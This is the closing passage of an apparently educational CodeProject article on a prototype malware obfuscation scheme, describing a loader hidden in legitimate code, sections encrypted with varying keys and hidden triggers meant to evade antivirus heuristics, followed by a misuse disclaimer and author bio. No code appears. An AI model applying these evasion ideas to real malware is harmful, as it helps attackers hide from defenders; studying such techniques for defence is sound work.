To reduce attackable surface, the loader is hidden somewhere in the legit code (but in this article it does not self-protect), and part of the application itself are encrypted using different keys to avoid detection. But as malware evolves, luckily anti-virus counterparts evolves too, and heuristics can scan RAM or detect it if the application will run invalid op-code. Next step is then to create an always legit application, with hidden functionalities which triggers when you most desire it (bypassing of invalid code).

The last step showed here then is hiding the data, and not only the code, by applying similar techniques on those areas. What is presented here is not even something static and always equals through generation. Included butler tool, and the structure of the malware itself, allows to apply different keys to begin with, thus resulting in different first-generation applications.

Once again I want to remember you that the software here is a prototype. I discourage you from using it in the wild if you did not understand all the points and details behind the obfuscation idea. You can really break everything in no time for a simple mistake. Not to speak that hacking is not a legal operation in almost all countries in the world, and you will certainly incur in legal problems if you try to impress someone with your "hacking" skills.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Share

About the Author

Kewin Rausch
Software Developer
Italy Italy
I'm a Software Engineer with deep and extended knowledge in Computer Networks and low level environments as kernels and drivers. My competencies span from classic Wired IP networks to Wireless technologies like WiFi and 4G LTE. In the past I dealt with Next Generation Protocols, that requires to rethink internetworking from its core basis and requires to apply a clean slate approach on the current packet-based networks. In the lasts years my competencies grown towards the Computer Security world, from Cryptographic protocols to more practical strategies used to deal with the malware present in the wild.

My core competencies are C/C++ and Assembly programming languages, in both user- and kernel-space, together with an problem-solving oriented mindset and huge imagination to develop alternative approach to deal with them.

Comments and Discussions

 
PraiseExcellent Pin
Michael Haephrati18-Apr-18 7:55
mvaMichael Haephrati18-Apr-18 7:55 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

Article
Posted 14 Apr 2018

Tagged as

Stats

11K views
142 downloads
15 bookmarked